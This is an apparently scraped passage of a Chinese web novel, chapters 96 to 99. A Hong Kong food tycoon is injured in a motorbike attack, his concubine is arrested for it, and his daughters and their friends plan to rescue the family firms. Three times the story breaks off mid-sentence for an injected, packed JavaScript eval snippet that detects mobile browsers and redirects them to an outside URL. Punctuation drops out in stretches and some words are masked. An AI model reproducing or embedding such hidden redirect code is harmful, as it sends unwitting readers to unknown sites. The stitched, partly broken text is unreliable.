两边来车交替通过，车子总算通过了拥堵点，岳宁看见地上一滩血，人已经不见了。发生车祸了，希望不要出人命。 岳宁提着一大袋子窗帘回家，进了屋子，打开了客厅里的电视机，去储藏室拿了梯子，先挂客厅的窗帘。 听见电视里一句：“现在插播一条快讯，崔记味业董事局主席崔家昌遭遇车祸……” 第96章 崔家昌病危 岳宁立马从梯子上下来，新闻已经过掉了，估计是记者抢先播报，后续还没来得及剪辑。 岳宁打电话去立德，崔慧仪的秘书说崔慧仪刚刚接到电话，赶去医院了。 崔慧仪接到电话立马开车去医院，昨天刚刚所有的手续办完，今天她爸要陪钟月珊去医院做检查，所以安排了明天崔记和立德联合开发布会。怎么就出事了呢？ 这家医院是港城的老牌私立医院，在中环核心区域，地方小，原本的停车场去年改建成了住院大楼，停车场就挪到了马路对面来。 崔慧仪停了车，急匆匆地穿过马路，刚刚踏进医院，记者立马追了上来问：“崔小姐，你知道崔先生车祸的具体情况吗？” “我接到电话立马赶来，还不知道具体的情况。”崔慧仪推开记者的包围。 她进了医院接待厅，好在私人医院的好处就是管理比较严格，谢绝记者进入医院内部区域。 崔慧仪进电梯上去手术室，走出电梯，走到手术室家属等候区，崔慧文夫妇已经在了。 “姐，怎么样了？” 崔慧文还在掉眼泪，她老公搂着她：“爸爸陪钟小姐来检查，有辆摩托车撞上来，爸爸拉开钟小姐，自己被摩托车撞了，医生判断是脑出血。情况不是很乐观。” “怎么个不乐观？”崔慧仪问，“我听说流了很多血？” 她姐夫说：“那个血不是爸爸的，是钟小姐的，钟小姐摔了，流产了。爸爸是颅内出血，医生的说法是，手术最坏的情况是救不回来，更坏的情况是救回来也是瘫痪，最好的情况救回来了但是偏瘫。” 崔慧仪恨她爸，可到底是她爸，她心里也十分难受，她搂住崔慧文。 “我恨过他，怨过他，可我真不希望他死啊！”崔慧文扑在妹妹的身上哭。 崔慧仪看着紧闭的手术室门，只能抱着姐姐，希望他能挺过去。 走廊上俞婉媚走了过来，她脸上满是焦急，看见崔家俩姐妹：“大小姐、二小姐，老爷没事吧？” 看见这么个人，崔慧仪刚刚生出的那些伤心，顿然少了许多，她说：“有可能会死，最好的情况是偏瘫。” “啊？这么严重？”俞婉媚惊讶地叫出声，她的手在颤抖。 见她这样，崔慧仪也不想再计较那些前尘往事，说：“婉姨，你去坐下，定定神。”、 俞婉媚去坐下，崔慧仪扶着姐姐也一起坐下。 “老爷怎么就被撞了呢？”俞婉媚似乎安定了些她问。 “爸爸陪着钟小姐从停车场到医院过马路的时候有辆摩托车冲向钟小姐 俞婉媚松了一口气她又问：“钟小姐没事吧？” “不巧爸爸推开她但是爸爸被撞也带到她了摔地上流产了。” “流产了？”俞婉媚喃喃复述。 走廊里有脚步声崔慧仪转头见过来的两人不认识也就回过头来。 两人到崔慧仪面前其中一人出示了证件：“崔慧仪小姐我是港城皇家警察我们需要你配合调查。” “我？” 崔慧文立马擦了眼泪：“你先去我联系律师。” “OK。” 两位警察陪着她下楼崔慧仪上了他们车里面一股子烟味她皱眉。 好在去警局的路并不长。 崔慧仪跟着警察回警局她的律师也到了。 崔慧仪接受警方问询警方怀疑她爸的车祸不是一起偶然事故她最近跟她爸斗得沸沸扬扬首先怀疑是她倒也没什么奇怪崔慧仪把自己知道的说清楚就好了。 她爸昨天已经把股权转让了姐姐实际上已经是崔记的董事局主席了。 她走出问询室让她意外的是乔君慎居然等在那里。 “你怎么来了？” “李小姐告诉我新闻我去医院找你你姐姐说你来警局接受问询了我过来看看。”乔君慎伸手揽住她。 崔慧仪一直在有需要的时候跟乔君慎装亲近那仅限于有需要的时刻。他这样是不是过了？ “怎么了？”乔君慎看她“走我们一起医院你爸还在做手术。” “哦。” 乔君慎以护着她的姿势带着她出警局踏出门口的那一刻照相机对着她拍话筒伸到她这里她被乔君慎搂在怀里听乔君慎说：“警察只是例行询问。崔慧仪小姐是有道德有底线的人她不会做这种事情。她也没有动机做这种事早些时候崔家昌先生已经决定将立德和崔记交给两个女儿。股份转让手续在近期已经完成。抱歉崔家昌先生还在手术我们要去医院了。” 崔慧仪被乔君慎塞进车里看着乔君慎上车。 这么多年这种场面她一直都自己面对突然有人将她护着还有 点不习惯呢！ 乔君慎开车，发现崔慧仪一直看着他。 他说：“出了这种事，我都不站在你身边，别人都会以为我们俩是被父母强凑在一起的。 要不是她爹还生死未卜，崔慧仪都要笑出来了：“亏得你面面俱到。 “应该的。 从停车场到医院，乔君慎一路都护着她，跟记者解释，崔慧仪随便他了，她现在也懒得理会这些乱七八糟，她这个时候心里很矛盾，自从上次硼砂事件，她以为自己已经对她爸失望透顶，可现在她还是希望他能醒来。 两人去等候区，崔慧仪问姐姐：“怎么样了？ 崔慧文的情绪已经稳定了，她说：“没有，还在手术。俞婉媚也被带去询问了。 “她？ “应该是那辆摩托车最初的目标是钟月珊吧？ 这下崔慧仪反应过来：“她认为钟月珊肚子里的孩子威胁到崔慧书继承崔家产业？ “等调查结果吧！崔慧文说，“陆云芳刚刚来过，她说慧铃在边上学舞蹈，顺带过来看看情况。 崔慧仪愣了，她爸生死不知，一个可能是罪魁祸首，另外一个来看他，都是顺带。他最宝贝的儿子到现在都没出现。 自己心疼难受，算个什么？ 到傍晚五点多，手术室里有人出来告知，患者的手术已经完成了，手术很顺利。病人需要进入ICU，渡过三天的危险期，还有接下去水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915453|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肿期，渡过了这两个期间，能恢复到什么程度？说来说去，那是听天由命了。 姊妹俩一起去ICU。 “泽景哥、慧文姐，崔世伯一时半会儿也不会醒来，你们俩先去吃个晚饭。我陪慧仪在这里，等你们回来，你们姊妹俩再商量如何对外发布消息。乔君慎说道。 秦泽景搂着自家老婆说：“手术顺利就是渡过了第一关，也算是好消息。你爸把崔记交给你，而不是卖掉，就是说他认为崔记在你手里能经营下去，你现在要做的是，怎么把千疮百孔的崔记扛起来，让他放心。对吧？走吧，吃饭去！ “嗯！ 夫妻俩出去。 崔慧仪隔着玻璃看躺着的那个人，她说：“我还是不够心硬，其实换个角度想，如果这个时候我出事，他可能难受一会儿之后，想着我这个犟种没了，他就能说服姐姐了。 “心软又不是缺点。你叫了他这么多年爸爸。该心疼还心疼 ，该据理力争就据理力争。亲兄弟明算账，上阵父子兵，这两句话都是对的。乔君慎揉着她的短发。 崔慧仪看着玻璃上自己的样子，避开他：“你说话，就好好说话，我头发都乱了。 乔君慎收回了手，陪她坐着。 崔慧仪靠着墙仰头：“看他这样，我们姊妹俩和他离心，跟了他这么多年的姨太太，对他丝毫没有感情，那一儿一女对他的感情，估计不会比我们姊妹俩多，你说他忙碌了一辈子，到底得到了什么？ “忙忙碌碌，到头来不过是一场空。 崔慧仪不知道自己是讽刺还是苦笑，笑了一声，不再说话。 崔慧文夫妻俩进来，崔慧文抱住妹妹：“慧仪，你先回去吧！还有那么多事呢？我等一会儿也走了。明天进崔记。 “嗯。 乔君慎和崔慧仪一起去停车场，崔慧仪往自己的车那里走去，乔君慎突然说：“慧仪，跟我坐一辆车，我送你回去。 “我开自己的车。崔慧仪说道。 乔君慎拉住她的手：“明天早上你肯定要过来，我送你过来，你再开车去公司不就行了？ 所以他明天到她家，送她去医院，不麻烦吗？ 崔慧仪被乔君慎拉着进了他的车里，她居然就同意了他这个听上去一点都不聪明的想法。 车子发动，港城实在太小，现在电台里全是崔记的新闻。 崔记被迫提前出了公告，崔记在昨天已经完成了股权变更，股权变更后，崔家昌原配太太所出的两个女儿分别得到崔记和立德的控股权，崔记和立德将是两家独立的企业。崔慧文将出任崔记味业董事局主席，崔慧仪是立德食品的董事局主席。同时两人又是对方公司董事。 崔记的常务副总经理说：“崔家昌先生相信崔慧文小姐能带领崔记走出困境，也相信崔慧仪小姐能创造立德的辉煌。 “警方怀疑崔家昌的二太太，崔俞婉媚知道这个消息之后，想要趁着股权还没有转让，**崔家昌，作为崔家昌注册在案的妾，她所生的子女和大房崔项彩英所生的子女拥有同样的继承权…… 第97章 四个臭皮匠 乔君慎送崔慧仪到了楼下，崔慧仪转头对他说：“我上去了。” “我跟你一起上去，跟你预演一下接下去事态会如何演变。我们俩商量好了，你再跟你姐和姐夫商量，你姐在家几年，你姐夫是银行业的，现在也就你在食品行业摸爬滚打这么多年。崔记这个烂摊子收拾不容易。”乔君慎跟她说。 崔慧仪也知道，若是自己进崔记，可能比姐姐更容易一些。但是她爸出于私心也好，确实是自己已经接了立德，崔记要留给大女儿也行，总之，现在股份就是这么安排的，她要是全然插手，姐姐姐夫怎么想？ 姐姐进崔记，面临困难重重，又遇到她爸出事，这确实是千难万难的时候。 “嗯。” 两人一起上楼，进了家门，崔慧仪说：“你坐，我给你倒杯咖啡。” 乔君慎抬腕看表：“快七点了，不先吃点东西？” 也是啊！自己还是被今天的意外弄得心慌意乱，她进厨房，打开冰箱，找食材，看看能做点什么，只是她平日，除了早餐，午餐在立德，晚上很多时候会有应酬，冰箱里的东西，自己简单对付一下还行，招待客人就……崔慧仪说：“要不我们去宁宁那里吃点，就十来分钟的路程。” 乔君慎探过头来一看说：“速食面女王家里应该有面吧？拿两包面出来。” “啊？” “啊什么啊？你跟我还要客气？再说，今天你也没心情，更没时间出去吃饭。咱们商量好了对策，你还要跟你姐姐商量，还要早一点发出去，稳住人心。” “好。”崔慧仪从橱柜里拿了两包刚刚出来的日式烧腊双拼面。 乔君慎接过面条：“你今天情绪波动太大，去坐一会儿，我来！” “你会吗？”崔慧仪问他。崔慧仪和乔君慎同在美国念书，不过两人一个在东一个在西，相隔千里，这方面她对乔君慎知之甚少。 乔君慎从冰箱里拿出鸡蛋和青菜，看见还有火腿片，也拿了出来。他说：“等着吃就行了，去吧！” “一个人坐着也没意思，我站这里看你做，万一你做得不对，我还能纠正。”崔慧仪说。 乔君慎被这样看扁，笑了一声，一个锅烧水，一个锅烧热。 “现在我们分析一下崔记，紧急的问题和重要的问题。”乔君慎打开了油烟机，倒了油，“资金这块，你姐夫家虽然是开银行的，可银行放贷款总不能乱放吧 ？ 崔慧仪靠在门口说：“能拿一部分，但是不可能太多，我的想法，这些钱按照时间先后，先让供货商拿一部分回去。 乔君慎打了鸡蛋进锅里，他说：“那么接下去就是，经销商的存货问题。 “销毁，表明今日之崔记和昨日崔记的切割。信心比这点存货的钱更重要。这些我和姐姐已经核算过了，我爸让我姐接崔记，我和我姐都不是傻子，我们都核算过，如果拉不起来，那只能拒绝了。 水开了，乔君慎下面条青菜，他问：“要是经销商听说销毁了，给你报了数量，但是他们觉得有利可图，自己不销毁，让这些产品继续流入市场呢？尤其是一些小饭店小酒楼，很便宜的价格卖出去呢？到时候还出了什么事，上面贴的是崔记字号。 这是潜在问题，乔君慎把调料放进去，拿出碗，盛面条出来，再从平底锅里铲了荷包蛋放在面上。 崔慧仪要来端面条，乔君慎说：“等等。 他把火腿片放平底锅里，用剩余的油煎了一下，夹到面上。 “哇哦！居然看上去还很不错呢！崔慧仪赞道。 乔君慎有些得意：“这是什么话？ 两人端了面条出去，崔慧仪说：“改崔记的商标？ 乔君慎说：“对啊！改商标，设计一个和你的圆仔一样可爱的人物或者动物，在电视上做足宣传，你们已经销毁了所有库存。让新崔记既是崔记的传承，但是又和老崔记是切割的。 “有道理。 电话铃声响起，崔慧仪接电话：“宁宁啊！你要过来？ “让她过来，那丫头脑子灵活，我们没想到的她可以补充。乔君慎说。 “哦，好啊！崔慧仪说。 等崔慧仪挂了电话，乔君慎说：“我问问君贤回家了吗？他开工厂，让他也来听听。 乔君慎打了电话，让弟弟也过来，两人吃了面条，崔慧仪把碗筷放进厨房，等明天钟点工人来洗。 她一个人住，白天很少在家，不像要住家的**，每天钟点工人上门来半天也就够了。 崔慧仪出来的时候，见乔君慎抽了纸擦了桌。 乔君慎去洗了手，再去沙发上坐下。 崔慧仪转头看向吧台：“喝口酒，还是来杯咖啡？ “有茶的话，更好。乔君慎说，“没有的话，咖啡。 “有。上次宁宁来，见我这里没茶叶，送 了我一罐茶叶说是她来喝我只能又去买了茶杯。”崔慧仪从橱窗了拿了茶杯给乔君慎泡了一杯茶。 乔君慎打开茶杯低头吹了一下：“这是进出口公司送她的她给我爷爷拿了两罐过来。很好的。” 崔慧仪见他说好喝她自己也泡了一杯：“我是不懂反正她也说好。” “我们继续工厂管理这块你有经验你可以作为顾问进入工厂没问题。但是崔记的产品老化问题？” “这个我也想好了……”正说着话崔慧仪听见门铃响去开门。 岳宁在电话里就听见乔君慎的声音了 “快进来君贤也马上到了。” “他来干什么？”岳宁不解地问。 乔君慎一脸恍然：“不想见他是吧？那等他来了我马上叫他回去。” “我就问问吗？”岳宁到乔君慎边上“哥哥什么时候变得这么小气了？” “坐下。”乔君慎问她“崔世伯的事你大致知道了吧？” “下午全是这个消息基本都知道了。说是二太得知崔世伯要把家业给两位姐姐先下手为强制造车祸。”岳宁有些疑惑“我不理解的是既然她都打算要杀崔世伯了就不能下大一点本钱？不能叫一辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915454|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汽车？而且为什么要趁着崔世伯陪女朋友上医院的时候而不是他在其他地方的时候。所以我认为她针对的是钟小姐甚至不是钟小姐本人而是钟小姐肚子里的孩子。她的脑子里只有儿子才能跟她儿子抢继承权。估计她没想到崔世伯会护着女朋友也没料到崔世伯会摔倒头。” 崔慧仪给岳宁倒了茶。 “我们也这么想的。”乔君慎说“她这个事我们放一边。当前的情况下慧文姐没有工厂经营经验又是在崔记风雨飘摇之际她现在心还记挂着崔世伯我们几个臭皮匠一起帮她整理一下预案客户信心股价、公司员工和合作商都要稳定下来。我和慧仪现在谈论了几条……” 乔君慎正在说门铃又响了崔慧仪去开门。 乔君贤到了四个人坐在沙发上你一言我一语讨论对策。 乔君慎让崔慧仪拿来纸笔岳宁总结刚才的讨论：“第一条资金：秦家的信耀支持之外你去找亨通支持。第二条新旧崔记的切割：品牌形象包装全部重新设计升级产品宣布和宝华楼、宁宴合作投放广告。第三 条，管理：销毁全部存疑库存，工厂整顿，立德派调专业人员进行支持。 这几条下面又分列了很多条进行细化，等讨论完，已经将近深夜十一点。 乔君慎把单子给崔慧仪：“行了，好好睡一觉，明天七点，我来接你去医院。 “君慎哥哥今天来帮慧仪姐姐出主意，为什么明天还要送慧仪姐姐去医院？慧仪姐姐不是会开车吗？岳宁问出来。 乔君慎敲了一下她的脑袋：“我是她男朋友，女朋友的爸爸发生车祸，还没脱离危险期，难道我不该时时刻刻在身边？ 岳宁表示认可：“君慎哥哥真敬业，你是个超级好的合作伙伴。 乔君慎笑：“宁宁啊！你可真聪明。 “这不是大家公认的吗？岳宁非常开心地接受了表扬。 乔君贤牵着她的手：“走了，回家了，爷爷等着呢！ 岳宁上了乔君贤的车，乔君贤开车，岳宁说：“你有没有觉得，你哥对慧仪姐姐好过头了？ “两家关系摆在那里，这种时候，他不帮慧仪姐，我妈都不答应。乔君贤说，“再说了，他们不是有约定吗？我哥就找个挡箭牌，但是他从来不要别人白给他挡的，他亲自给周明灵出过气。你别瞎想，他们俩要是愿意在一起，早就在一起了。 岳宁认为乔君贤说得也有道理，自己就不要乱点鸳鸯了。 岳宁家和崔慧仪家就更近了，两个楼盘离开不足一公里。 乔君贤把岳宁送到她家楼下，他想送岳宁上楼，岳宁让他伸出手，跟他握一下，这一下说服了他，他看着女朋友进了楼道，甩了甩疼痛的手，她真是没轻没重的。 乔君贤开车回家，夜深了，沿途的商店都已经关门，只有霓虹灯闪烁，一家健身馆墙上贴着巨幅广告，广告图片上古铜肤色男子，穿着黑色背心，虎背蜂腰，手臂肌肉上青筋凸显，一只手掀起黑色背心，露出八块紧实有型的腹肌。 广告词：“有型，让她难以抗拒 第98章 崔家昌苏醒 岳宁回到家，爷爷果然给她等门。 “爷爷还没睡？” 孙女出去之前就跟他说过，可能会陪崔慧仪说会儿话，可孩子没回来，他也睡不着。 “崔家昌怎么样了？” “手术挺顺利的，还有两个关键期，三天脑子不出血，最危险的阶段就过了，十来天脑子可能会积水，也危险。大概半个月时间，如果没问题，那命是保住了。但是最好的结果可能也是偏瘫。” 岳宝华摇头：“那个俞婉媚眼睛里只有钱，谁摊上她谁倒霉。” 岳宁不想跟爷爷讨论这个人，她推着爷爷说：“您快去睡吧！虽然明天不用早起，问题是您会睡懒觉吗？” 岳宝华指着桌上的一张单子：“厨王大赛的排程来了，你看一下。” 岳宁推爷爷进房间，她拿着那张单子回到自己的房间。 前两天参赛队伍确定，港城十二家，澳城四家，一共十六家酒楼饭店派出队伍参赛，采取淘汰制，十六进八抽签决定，宝华楼遇到了本城的一家老牌酒楼，阿明看到这个结果就垮脸了，还说这家都派出老师傅了，他们要是第一轮就被淘汰，那就给她丢脸丢大了。自己安慰他，她丢脸是常态，没关系。这话一出，两人生怕真输了，临阵磨枪去了。 御龙轩运气爆棚，遇到了澳城的一家名不见经传的小酒楼，按照港城的筛选条件这家小酒楼都没有报名资格，实在是澳城城小，酒楼少，条件放宽了，他们才能参赛。 李欣荣作为上一届厨王，这次换成他的大徒弟参赛，这个大徒弟去年做李欣荣的助手，这次他带队了，这算是澳城最强的一个队伍了。 不管他们三家哪一家夺冠，爷爷脸上都有光彩，要是他们三家能拿下前三，爷爷就成了无冕之王了。 岳宁心里美得冒泡，去洗了个澡，打开电视，想要调午夜剧场，电视画面是午夜新闻，崔家昌死不死，大家并不关心，大家关心的是崔记的股价跌到什么时候是个头？ 市场最希望的是崔慧仪能接手崔记，崔慧文经营辉煌，毕竟只是一家酒楼，而且这家酒楼到后面也败落了。崔慧仪经营的立德，那才叫漂亮。 所以崔记公布崔慧文接任崔记董事局主席，市场反应是理解，但不看好。 不知道今晚讨论的那些策略，明天市场能买账多少？睡觉睡觉。 * 第二天早上，乔君慎下楼去餐厅，老夫妻 俩正在吃早饭。 乔君慎过去低头在奶奶脸上亲一口：“奶奶早。” 大孙子难得早起，就亲老太婆，乔启明：“就亲你奶奶？” 爷爷连这个都吃醋，乔君慎过去抱住老爷子的脑袋，要往乔启明秃脑门上亲，乔启明连忙叫：“放开，放开。” 乔君慎听话地放开：“您自己不要的，不是我不亲。” “大少爷，今天有生煎，正在给你做，你稍等。”佣人芳姨出来说。 乔君慎说：“多做一份，帮我打包。” “好。” “不是说，你们俩不能当真吗？这么早起床，还要给人拿早餐过去了？”乔启明低头看着报纸上大孙子护着崔慧仪的照片问。 乔君慎从爷爷眼皮底下抽走报纸：“您和奶奶看见这张照片心里都笑开花了吧？” “你这次是真的，还是假的？”乔老太太问。 乔君慎笑：“奶奶，心急吃不了热豆腐，不要着急。” 乔启明跟老妻说：“都喷香水了，你说真的还是假的？” “这样啊！”老太太笑。 乔君慎继续低头看报，报纸标题：“乔大少与速食面女王的速食恋情” 文章里说他刚跟周明灵分手，火速和崔慧仪在一起，现在已经一副深情男护妻的样子。 佣人给乔君慎端来早餐，乔君慎跟佣人说：“便当盒里加点香醋。” “好。” 崔慧仪家里开调味料厂，自己开速食面厂，家里都没几样调料。 乔君慎吃完早餐，开车去崔慧仪家。 崔慧仪穿着睡衣，顶着鸡窝头，给他开门：“你怎么这么早？” 乔君慎把便当盒递给她：“给你送早餐来，乔家专属生煎包。趁热吃？” “好。”崔慧仪进卫生间刷牙后，马上过来。 乔君慎见她依旧是鸡窝头，问：“你都进卫生间了，就不能把头梳一下吗？” 崔慧仪笑了：“哥，我们俩还用这么讲究吗？” “不用，不用。”乔君慎说道，他已经打开了便当盒，给她拿了筷子。 崔慧仪夹起一个生煎包，一口咬下去，汁水喷出来。乔君慎给她递了一张纸巾。 崔慧仪吸着汁水，吃下一个生煎包，说：“好多汁，比北角的上海点心店里的生煎还要好吃。” “那当然，芳姨是我奶奶带出来的。你没来我家吃过早饭，生煎、小笼、粢饭糕、灰汁团、虾饺、乌达还有焖 肉面、熏鱼面、叻沙和粿条，比港城大部分的茶楼都要好。”乔君慎跟她说。 崔慧仪再夹一个生煎包：“我能来你家吃中饭，吃晚饭，怎么来你家吃早饭？” “想要吃，总归有办法的吗？”乔君慎笑着说。 崔慧仪吃过早饭，冲进房间，火速换了衣服，梳头发化妆，总共花了一刻钟不到，再出来已经是衣冠楚楚的商业精英了。 两人一起下楼，上了车，乔君慎开车，崔慧仪拿出单子说：“昨晚我姐给我打电话，说我爸醒了。我跟她简单说了一下我们的讨论，她说姐夫家里也全力支持她，亲家老爷今天也会接受记者采访，表达全力支持儿媳。” “那就最好了。” “我简直就是个天才，怎么会在这个节骨眼上想出做你假女友？要不是有你，亲家老爷那个谨慎的性子，会拍胸脯打包票吗？”崔慧仪闻了闻空气，又凑乔君慎身上闻了闻。 乔君慎问：“你干什么？” “乔君慎，你用香水了？”崔慧仪问。 乔君慎无语：“你才发现？” 崔慧仪正色：“我跟你说，我不管你看上哪个女的，你现在跟我协议中，你不能违约，不要给我闹出绯闻，不要给我找麻烦。至少得等这次事情过了，我们再宣布分手。” “我给你闻的，行不行？”乔君慎没好气地说。 “真没看上谁？”崔慧仪再次问，这个时候出乱子真的会要人命啊！ “我看上谁了，还有空昨天晚上在你家待到半夜？还能今天早上给你送早饭？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915455|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔慧仪总算是明白了，她说：“哦！你就是闲的，新买的香水搽了，想让我评价一下？” “是是是。”乔君慎回她。 她凑过去仔细闻了，说：“杉木香和檀香，味道悠远又深沉，品味很不错。” 乔君慎把她送到医院门口，说：“我不进去了。” “你进去干嘛？他都醒了。”崔慧仪下车，还弯腰在窗口，挥手跟乔君慎道别。 乔君慎一脚油门，开车走了。 崔慧仪看着车屁股，耸肩，所以说吗？假的真不了，细节中就看出来了，真的男朋友能跑这么快？ 她转回身要进医院，遇到记者堵截，她说：“大家对立德的未来肯定不会有担忧，崔记的未来，我想由秦崔慧文女士来发言会比较合适。” 崔慧仪去重症监护病房，看见她姐已经在了，崔慧仪说：“姐 ，你昨晚几点回家？今天又这么早，你知道你接下去还要面对什么吗？别把身体拖垮了。 崔慧文隔着玻璃看着已经睁眼，却无法动弹的崔家昌，说：“在家我也睡不着，就早点过来了。看着他现在的样子是真可怜，想想他以前是真可恨。 昨天听说他要死，崔慧仪还难过了一阵，知道他醒了，以后也就落个偏瘫，崔慧仪那点可怜他的心全没了。 “这是老天给他的报应，让他活着好好看着。 姊妹俩坐一起，昨晚她们俩已经在电话里初步过了一遍，现在就是细节解释，崔慧文也不是一直在家的太太，妹妹说的商业逻辑一听就懂，一点就透。 崔慧文立马去崔记，崔慧仪等在这里，等医生到岗后，问了一下她爸的情况。 现在的情形看下来，算是预估情况中最轻的，不过能恢复多少，还得看后面的康复情况。 崔家昌隔着玻璃窗看着一直跟他像死对头一样的小女儿。他苏醒过来，昨天夜里见到了大女儿，早上依然是大女儿，后来小女儿来了，大女儿走了。 他现在头很疼，身上也很疼，脑子里很糊涂，却又不糊涂，昨晚到今天都是岳父和彩英在世的景象。 岳父在世的时候，总是会说他做事不够沉稳，要沉下心来，让他记得崔记和立德一样是做吃进嘴里的东西，想要成为一家百年老店，那就要货真价实，就要用良心做生意。 他听了很反感，总觉得他倚老卖老了，立德固然生意做得好，他的崔记也不差。 他跟彩英抱怨，彩英总是跟他说，让他听听爸的，她爸是把他当儿子看待，才愿意说这样的话。 他觉得彩英是在提醒他，他有今天都是因为项家，都是因为他是项立德的女婿，她根本没想过，他最开始创立了一个犄角旮旯里的小铺子，有了这个小铺子才能走到他们父女面前，才能被他们父女认识。 岳父一死，他就开始在外面找女人，找了女人生儿子，他想把崔记做大，他希望立德没落，甚至最好是在女儿们的手里没落，因为那是项彩英的遗言，要立德交到女儿们手里。 项立德创建的立德，最终消失在项立德的血脉手里，他也算是对得起他们父女了。 然而，结果却是项立德的血脉就是项立德的血脉，凡事讲良心，做生意这样，做人也这样，到现在他只有彩英生的两个女儿陪在他身边…… 第99章 崔慧文接手崔记 崔记味业在股市开盘前发了公告，正式宣布崔家昌长女秦崔慧文女士接任崔记味业董事局主席。也公布了崔记在将会采取的一系列举措。 这些举措还有专业人士进行了解读，大家最为关心的是，崔记的资金问题，也有新闻发出崔慧文的公公接受采访说会全力支持儿媳的事业。 记者发照片，说崔慧文在崔记待到九点左右，出发去亨通银行，亨通银行是蔡家在掌控，蔡家和乔家的关系之紧密，亨通如果肯贷款给崔记的话，崔记的资金问题能解决了。 那就有一个问题了，乔家会站在崔慧文背后，让亨通银行支持崔记吗？ 就在这个时候，HTV的娱乐新闻，狗仔拍到了几张乔君慎一大清早从崔慧仪家出来，并且送崔慧仪去医院的照片。 乔大少昨晚住在崔慧仪家里了？他们同居了？也许是乔大少要安慰女友。 总之两人的关系进展神速，已经到可以谈婚论嫁的阶段了。乔家长辈肯定乐观其成。 崔慧仪听到这个消息愕然，转念一想，不对啊！HTV是亨通旗下的，乔大少的花边新闻，还是一清早的花边新闻，能不跟乔君慎通气？蔡致远不怕被自家表哥揍？ 她打电话给乔君慎，问他知道吗？乔君慎说：“我安排的。最大限度提升市场的信心。让市场相信，你身后有乔家，乔家的资源都会给你用。” 崔慧仪：…… 也有记者专门去宁宴蹲点，找了岳宁，岳宁非常切实地说，后续会和崔记合作，推出新产品，包括豉油鸡面用的酱汁。 豉油鸡面现在几乎都是缺货状态，很多人都在喊岳宁出这个酱汁，想用来炒河粉。 而且岳宁还说，除了这个还有啫啫煲专用调味料。这就太让人期待了。 立德的管理有目共睹，措施里有一条，立德派人进崔记帮忙整顿。而且立德也发了公告，虽然姊妹俩管理不同的企业，她们互相是对方公司的第二大股东，一定会同进共退，一起渡过难关。 崔记的股价在早盘开盘延续昨天的跌势，开盘十分钟后，伴随这些消息的发布，立刻有买盘涌入，截止到中午，涨幅达36%。 被昨天崔家昌车祸吓得抛掉崔记股票的股民哭晕在厕所里。 下午，崔记股价一度回调到涨29%之后，再次上涨，以49%的涨幅收盘，领跑全港。代表了市场对崔慧文的信心。 崔慧文找到 妹妹问妹妹昨晚跟乔君慎是不是真的？ 崔慧仪扒拉着一头短发：“我还不至于在亲爸出车祸的晚上 崔慧文明白了这是妹妹和乔君慎做戏让市场相信她背后有支撑这事她该怎么说呢？ 市场对崔记看好不过崔记是否能起来还得看后续。 港城真是个开放又封建的城市午夜剧场里不脱不舒服现实里一个姨太太为了儿子能继承家产胆敢杀夫人人义愤填膺喊打喊杀逼警方早点送俞婉媚进去吃牢饭。 俞婉媚也不能承认自己想要杀夫她把事情经过一五一十交代了个清楚。 警方公布了俞婉媚的买凶作案的经过公众已经被漫天新闻所谓的杀夫夺财产的劲头给吊高了。这会儿听见是摩托车撞钟月珊只是想要钟月珊流产的说法兴趣缺缺。 崔家昌在医院俞婉媚被收押崔慧书在家。 之前传言纷纷母亲为了让他继承家业**父亲门口堵满了记者吓得崔慧书都不敢出门。今天警方终于公布了案情调查情况他妈还是为了他雇人撞他爸的女友。 “少爷如果你不去要钱我们的工钱怎么办？”司机带着两个佣人问十三岁的少年。 崔慧书不知道怎么去面对他爸爸电视里说了爸爸经过手术已经脱离了危险但是未来偏瘫了。他爸爸狂暴时候那狰狞的表情时刻浮现在他眼前他怎么敢去问爸爸要钱？ 然而司机和佣人拿不到工钱他还要吃饭他这样干等下去也没办法了。 他犹犹豫豫地坐上车司机开着他去医院越是接近病房他越是想退缩可后面司机跟着不让他跑。 崔慧书走进走廊就看到了排成行的花篮花篮上都写着祝福崔家昌早日康复的话。 他到病房门口听见里面说话声：“二小姐我和慧铃的生活费总该有人付吧？慧铃要上学家里司机和工人姐姐要工钱我也要日常开销。” “作为我爸养着的女人他出事到现在你来过几回？我爸在手术中你来了一回坐了十分钟说慧铃在跳舞要去接慧铃。今天是第二回你刚刚问了他怎么样？我告诉你他清醒了有意识了。就是说不了话不能动。你开口问我要钱？我为什么要替他养女人？” “我就问谁来养活我和孩子？” “你跟了她这么多年没有积 蓄？等他恢复都等不及了？就算没有积蓄你自己没手没脚？没钱不能出去做工？” “我出去做工丢的是你们崔家的脸。” “我最不怕的就是丢脸。你出去说啊！” “崔慧仪你简直就是……” “滚出去你以为谁都能到我这里来打秋风？” 